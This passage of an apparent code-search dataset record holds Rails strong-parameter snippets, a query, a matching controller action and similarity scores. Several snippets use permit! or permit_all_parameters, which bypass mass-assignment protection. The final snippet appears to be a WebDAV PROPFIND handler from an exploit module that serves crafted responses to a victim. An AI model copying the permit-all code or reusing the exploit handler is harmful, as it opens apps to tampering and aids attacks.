"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
GET /podvals GET /podvals.xml | def index
@podvals = Podval.find(:all)
@podval = Podval.find_by_main(1)
if @podval == nil
@podvals = Podval.find_all_by_vis(1)
@podval = @podvals.choice
end
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @podvals }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def values(params = {})\n @client.get(\"#{path}/values\", params)\n end",
"def new\n @podval = Podval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podval }\n end\n end",
"def get_prop(values)\n cmd = \"{\\\"id\\\":1,\\\"method\\\":\\\"get_prop\\\",\\\"params\\\":[#{values}]}\\r\\n\"\n request(cmd)\n end",
"def destroy\n @podval = Podval.find(params[:id])\n @podval.destroy\n\n respond_to do |format|\n format.html { redirect_to(podvals_url) }\n format.xml { head :ok }\n end\n end",
"def index\n @known_values = KnownValue.find(:all, :order => 'name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @known_values }\n end\n end",
"def vulnerability_value\n query_root_node(\"gdacs:vulnerability/@value\", @@NAMESPACES)\n end",
"def propfind\n unless(resource.exist?)\n NotFound\n else\n unless(request_document.xpath(\"//#{ns}propfind/#{ns}allprop\").empty?)\n properties = resource.properties\n else\n check = request_document.xpath(\"//#{ns}propfind\")\n if(check && !check.empty?)\n properties = request_document.xpath(\n \"//#{ns}propfind/#{ns}prop\"\n ).children.find_all{ |item|\n item.element?\n }.map{ |item|\n # We should do this, but Nokogiri transforms prefix w/ null href into\n # something valid. Oops.\n # TODO: Hacky grep fix that's horrible\n hsh = to_element_hash(item)\n if(hsh.namespace.nil? && !ns.empty?)\n raise BadRequest if request_document.to_s.scan(%r{<#{item.name}[^>]+xmlns=\"\"}).empty?\n end\n hsh\n }.compact\n else\n properties = []\n end\n end\n multistatus do |xml|\n find_resources.each do |resource|\n xml.response do\n unless(resource.propstat_relative_path)\n xml.href \"#{scheme}://#{host}:#{port}#{url_format(resource)}\"\n else\n xml.href url_format(resource)\n end\n propstats(xml, get_properties(resource, properties.empty? ? resource.properties : properties))\n end\n end\n end\n end\n end",
"def index\n @config_values = ConfigValue\n .page(params[:page])\n .per(10)\n end",
"def vips\n request :get, '/vips'\n end",
"def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end",
"def values_search(params)\n @client.get(\"#{path}/values/search\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def index\n @policy_valuations = PolicyValuation.all\n end",
"def index\n @ipadmissions = Ipadmission.all\n\t@v= Verify.new\n\t@[email protected](\"IP Admission\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ipadmissions }\n end\n end",
"def index\n @pod_reports = PodReport.all\n end",
"def ps(app_name)\n deprecate # 07/31/2012\n json_decode get(\"/apps/#{app_name}/ps\", :accept => 'application/json').to_s\n end",
"def getNodeList\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n result = HTTParty.get(broker_url + \"/resources/nodes\", :verify => false)\n temp2 = JSON.parse(result.body)\n\n node_data = temp2[\"resource_response\"][\"resources\"]\n return node_data\n \n end",
"def list_uptime_check_configs project_id\n require \"google/cloud/monitoring\"\n\n client = Google::Cloud::Monitoring.uptime_check_service\n project_name = client.project_path project: project_id\n configs = client.list_uptime_check_configs parent: project_name\n\n configs.each { |config| puts config.name }\nend",
"def list_tasks(api_object)\n puts \"Current Tasks:\"\n doc = Nokogiri::XML.parse api_object.read\n puts doc\n descriptions = doc.xpath('tasks/task/description').collect {|e| e.text }\n puts descriptions.join(\", \")\n puts \"\"\nend",
"def votd\n require 'rss'\n\n votd = RSS::Parser.parse('https://www.biblegateway.com/usage/votd/rss/votd.rdf?31', false)\n\n render json: votd\n end",
"def value\n @value ||= XmlRpc::API::Message.parse_value(@document.root.elements[\"params/param/value\"])\n end",
"def values\n root.values\n end",
"def index\n @chef_values = ChefValue.all\n end",
"def healthinfo_doc\n begin\n timeout(3) do\n return XML::Parser.string(open(\"#{@@rn_url}#{params[:id]}\").read).parse() \n end\n rescue Exception\n return nil\n rescue Timeout::Error\n return nil\n end\n end",
"def show\n @prop_value = PropValue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prop_value }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def get; end",
"def read_pods\n kubeclient = build_kube_client!\n\n kubeclient.get_pods(namespace: actual_namespace).as_json\n rescue Kubeclient::ResourceNotFoundError\n []\n end",
"def index\n @peeps = Peep.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @peeps }\n end\n end",
"def list\n get()\n end",
"def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend",
"def update_value\n # I don't know why it isn't working with HTTPI\n # Putting these exact fields into HTTPI fails and this works correctly so...\n url = \"#{@credential.sentinelone_url}#{ANALYST_VERDICT_URL}#{@action}\"\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"ApiToken #{@credential.access_token}\"\n body = { \"filter\" => { \"ids\" => [@app_result.details.id] } }\n request.body = JSON.dump(body)\n req_options = { use_ssl: uri.scheme == \"https\" }\n\n resp = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n resp\n end",
"def get_values\r\n value_file = File.read(\".values/#{@version_string}/values.json\")\r\n return Values.decode(value_file)\r\n end",
"def pods\n\nend",
"def get(params={})\n rpc_call :get, params\n end",
"def info\n CouchRest.get \"#{@uri}/\"\n end",
"def retrieve_announces\n puts \"Retrieving announcements from the chef server and depositing them in '#{Settings[:announces_file]}'...\"\n Chef::Config.from_file(Settings[:knife_config])\n query = Chef::Search::Query.new\n nodes = {}\n query.search(:node,\"name:#{Settings[:node]}\") do |node|\n nodes[node.name] = node['announces'].to_hash unless node['announces'].nil?\n end\n File.open(Settings[:announces_file], 'w') {|f| f.write(nodes.to_json)}\nend",
"def get(opts)\n data = RestClient::Request.execute(method: :get,\n url: \"#{@urlGet}?namespace=#{opts[:namespace]}&offset=#{opts[:offset]}\",\n read_timeout: opts[:read_timeout] || 1,\n open_timeout: opts[:open_timeout] || 1).body\n return data\n end",
"def index\n @ptos = Pto.all_by_date\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ptos }\n end\n end",
"def get endpoint\n do_request :get, endpoint\n end",
"def get(url, params = {})\n client.get(url, params).body\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def get_computes(request)\n # --- Get User's VMs ---\n vmpool = VirtualMachinePoolOCCI.new(\n @client,\n POOL_FILTER)\n\n # --- Prepare XML Response ---\n rc = vmpool.info\n if OpenNebula.is_error?(rc)\n return rc, CloudServer::HTTP_ERROR_CODE[rc.errno]\n end\n\n return to_occi_xml(vmpool, :code=>200, :verbose=>request.params['verbose'])\n end",
"def index\n @taxe_values = Taxe::Value.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @taxe_values }\n end\n end",
"def http_prop_find(request, response)\n path = request.path\n\n request_body = request.body_as_string\n if request_body.size > 0\n begin\n prop_find_xml = @server.xml.expect('{DAV:}propfind', request_body)\n rescue Tilia::Xml::ParseException => e\n raise Exception::BadRequest, e.message, nil, e\n end\n else\n prop_find_xml = Xml::Request::PropFind.new\n prop_find_xml.all_prop = true\n prop_find_xml.properties = []\n end\n\n depth = @server.http_depth(1)\n # The only two options for the depth of a propfind is 0 or 1 - as long as depth infinity is not enabled\n depth = 1 if [email protected]_propfind_depth_infinity && depth != 0\n\n new_properties = @server.properties_for_path(path, prop_find_xml.properties, depth)\n\n # This is a multi-status response\n response.status = 207\n response.update_header('Content-Type', 'application/xml; charset=utf-8')\n response.update_header('Vary', 'Brief,Prefer')\n\n # Normally this header is only needed for OPTIONS responses, however..\n # iCal seems to also depend on these being set for PROPFIND. Since\n # this is not harmful, we'll add it.\n features = ['1', '3', 'extended-mkcol']\n @server.plugins.each do |_, plugin|\n features += plugin.features\n end\n response.update_header('DAV', features.join(', '))\n\n prefer = @server.http_prefer\n minimal = prefer['return'] == 'minimal'\n\n data = @server.generate_multi_status(new_properties, minimal)\n response.body = data\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def index\n @api_v1_properties = Api::V1::Property.all\n end",
"def get_xml_from_api(uri, query)\n resp = HTTParty.get(uri, query: query, headers: request_headers)\n # If we received anything but a 200 then log an error and return an empty array\n raise \"Unable to connect to connect to - #{@pubmed_api}?#{query}: status: #{resp.code}\" if resp.code != 200\n # Return an empty array if the response did not have any results\n return nil if resp.code != 200 || resp.blank?\n\n resp.body\n end",
"def get_value\n send_request(FUNCTION_GET_VALUE, [], '', 2, 'S')\n end",
"def statuses\n api.get('status')\n end",
"def results(path, params = {}, opts = {})\n get(path, params, opts)['results']\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def get_pophealth_xml(ids, args = nil)\n opts = args ? @options.merge(args) : @options\n url = opts[:pophealth_url]\n pophealth_user = opts[:pophealth_user]\n pophealth_password = opts[:pophealth_password]\n bundle = opts[:version] ? Bundle.where({version: opts[:version]}).first : Bundle.first\n\n # As it turns out, we need to wait for the queries in popHealth to complete before we grab the XML, or else we just get an error page.\n # Also, this lets us grab the measure HQMF IDs (in the mids array)\n complete = false\n mids = []\n while (!complete)\n sleep(2)\n mids = []\n complete = ids.inject(true) do |memo, id|\n res = JSON.parse(`curl -X GET -u #{pophealth_user}:#{pophealth_password} #{url}/api/queries/#{id}`)\n mids << res['measure_id']\n res['status']['state'] == \"completed\" && memo\n end\n end\n\n `curl -X GET -u #{pophealth_user}:#{pophealth_password} --header \"Content-Type:application/x-www-form-urlencoded\" --data \"effective_date=#{bundle.effective_date}&#{measure_ids(mids)}\" #{url}/api/reports/qrda_cat3.xml`\n end",
"def index\n @ptbudgets = Ptbudget.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ptbudgets }\n end\n end",
"def index\n @pclevels = Pclevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pclevels }\n end\n end",
"def service_document\n response = get(@url.to_s)\n response.body\n end",
"def list_employees(api_object)\n puts \"Current Employees:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('employees/employee/name').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend",
"def index\n\n\t\tapp_id = params[:deployment_id]\n\n\t\tif deployment_id = app_id\n\t\t\t@deployment = Deployment.find_by_id(deployment_id)\n\t\t\t@pull_requests = @deployment.pull_requests.all\n\t\telse\n\t\t\t@pull_requests = Deployment.all\n\t\tend\n\n\tend",
"def params\n @params ||= @document.root.get_elements(\"params/param\").map {|e|\n XmlRpc::API::Message.parse_value(e.elements[\"value\"])\n } \n end",
"def org_preferences\n\n v, mv = version.values\n return { 'status' => 404, 'message' => format( 'folder has been supported in Grafana since version 5. you use version %s', v) } if(mv < 5)\n\n endpoint = '/api/org/preferences'\n @logger.debug(\"Getting current organisation preferences (GET #{endpoint})\") if @debug\n get(endpoint)\n end",
"def index\n @patientregistration_datas = PatientregistrationData.all\n\t@v= Verify.new\n\t@[email protected](\"Registration\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @patientregistration_datas }\n end\n end",
"def metricData(ak,aapId,names)\n parseUrl=URI.parse('https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json')\n uri='https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json?names'+\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend",
"def value\n children = if self.namespace\n xpath('ns:value', ns: self.namespace.href)\n else\n xpath(:value)\n end\n return children.first&.content if children.length < 2\n children.map(&:content)\n end",
"def index\n @vspecs = @metric.vspecs.all\n end",
"def index\n @certs = Cert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @certs }\n end\n end",
"def get_properties\n xml = client.call(\"#{attributes[:url]}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(p, self) }\n end",
"def show\n @config_value = ConfigValue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @config_value }\n end\n end",
"def index\n endpoint(get(services_url).body)\n end",
"def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend",
"def get(schema, args = {}, method = nil)\n \n # convert arguments\n method ||= schema\n url = (\"/#{method}?\" << map_args(args))\n\n content = http_get(url)\n doc = REXML::Document.new(content)\n schema_keys = QUERY_SCHEMAS[schema].keys\n\n # if there was an error, raise an exception\n doc.root.elements.each('//error') do |e|\n raise APIError, \"#{e.text}\"\n end\n\n # grab toplevel result info\n result_elem = doc.root.elements['//document/result']\n ret = schema_keys.inject({}) do |elem_vals, key|\n if val = result_elem.elements[key]\n # out_key = key.gsub(/\\//, '_')\n out_val = TYPE_PROCS[QUERY_SCHEMAS[schema][key]].call(val.text)\n elem_vals[key] = out_val\n end\n elem_vals\n end\n\n # grab each result item and toss it in the return array\n ret['items'] = []\n doc.root.elements.each('//document/item') do |e|\n # elements to grab from return XML\n item_hash = schema_keys.inject({}) do |elem_vals, key| \n if val = e.elements[key]\n # out_key = key.gsub(/\\//, '_')\n out_val = TYPE_PROCS[QUERY_SCHEMAS[schema][key]].call(val.text)\n elem_vals[key] = out_val\n end\n elem_vals\n end\n\n ret['items'] << magify_hash(item_hash)\n end\n\n # return results\n magify_hash(ret)\n end",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def index\n @internal_values = InternalValue.all\n end",
"def monitoring_xml()\n return Error.new('ID not defined') if !@pe_id\n\n return @client.call(HOST_METHODS[:monitoring], @pe_id)\n end",
"def parse_rvwdtl(xml_doc)\r\n return xml_doc.xpath(\"//xmlns:url/xmlns:loc\").map { |e| e.text.strip }\r\n end",
"def population_value\n query_root_node(\"gdacs:population/@value\", @@NAMESPACES)\n end",
"def index\n @votes = @retort.votes.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @votes }\n end\n end",
"def xml\n @feed ||= FeedzirraPodcast::Parser::Podcast.parse(open(self.url))\n end",
"def parse_rst_pref(xml_doc)\r\n return xml_doc.xpath(\"//xmlns:url/xmlns:loc\").map { |e| get_prefecture(e.text.strip) }\r\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n @token = \"b3688c52-9235-45ca-b01f-c5b2b83a4f4f\"\n @result = Typhoeus::Request.get(API_URL + path, :params => params,\n :headers => {\"Authorization\" => \"Basic#{@token}\"})\n puts @result.body\n # check if the url looks correct in the log\n puts @result.effective_url\n # parse the result to json\n return JSON.parse(@result.body)\n end",
"def severity_value\n query_root_node(\"gdacs:severity/@value\", @@NAMESPACES)\n end",
"def index\n @api_v1_poll_responses = Api::V1::PollResponse.all\n end",
"def get(url, elem = nil)\n ret = REXML::Document.new(http_get(url))\n if elem\n ary = []\n ret.root.elements.each(\"//#{elem}\") do |e|\n hash = {}\n e.attributes.each { |key, val| hash[key] = val }\n ary << hash\n end\n ret = ary\n end\n ret\n end",
"def lws_api_get(path)\n # See also catalog_controller for use of ENV['LWS_...']\n url ||= ENV['LWS_API_URL']\n url ||= \"#{ENV['LWS_CORE_URL']}/api\" if ENV['LWS_CORE_URL']\n \n # http://localhost:8888/api/collections\n resp = Net::HTTP.get_response(URI.parse(\"#{url || 'http://127.0.0.1:8888/api'}#{path}\"))\n result = JSON.parse(resp.body)\n end",
"def process_propfind(cli, request)\r\n path = request.uri\r\n print_status(\"Received WebDAV PROPFIND request\")\r\n body = ''\r\n\r\n if (path =~ /\\.bcl$/i)\r\n print_status(\"Sending BCL multistatus for #{path} ...\")\r\n body = %Q|<?xml version=\"1.0\"?>\r\n<a:multistatus xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\">\r\n<a:response>\r\n</a:response>\r\n</a:multistatus>\r\n|\r\n elsif (path =~ /\\/$/) or (not path.sub('/', '').index('/'))\r\n # Response for anything else (generally just /)\r\n print_status(\"Sending directory multistatus for #{path} ...\")\r\n body = %Q|<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<D:multistatus xmlns:D=\"DAV:\">\r\n<D:response xmlns:lp1=\"DAV:\" xmlns:lp2=\"http://apache.org/dav/props/\">\r\n<D:href>#{path}</D:href>\r\n<D:propstat>\r\n<D:prop>\r\n<lp1:resourcetype><D:collection/></lp1:resourcetype>\r\n<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>\r\n<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>\r\n<lp1:getetag>\"39e0001-1000-4808c3ec95000\"</lp1:getetag>\r\n<D:lockdiscovery/>\r\n<D:getcontenttype>httpd/unix-directory</D:getcontenttype>\r\n</D:prop>\r\n<D:status>HTTP/1.1 200 OK</D:status>\r\n</D:propstat>\r\n</D:response>\r\n</D:multistatus>\r\n|\r\n else\r\n print_status(\"Sending 404 for #{path} ...\")\r\n send_not_found(cli)\r\n return\r\n end\r\n\r\n # send the response\r\n resp = create_response(207, \"Multi-Status\")\r\n resp.body = body\r\n resp['Content-Type'] = 'text/xml'\r\n cli.send_response(resp)\r\n end",
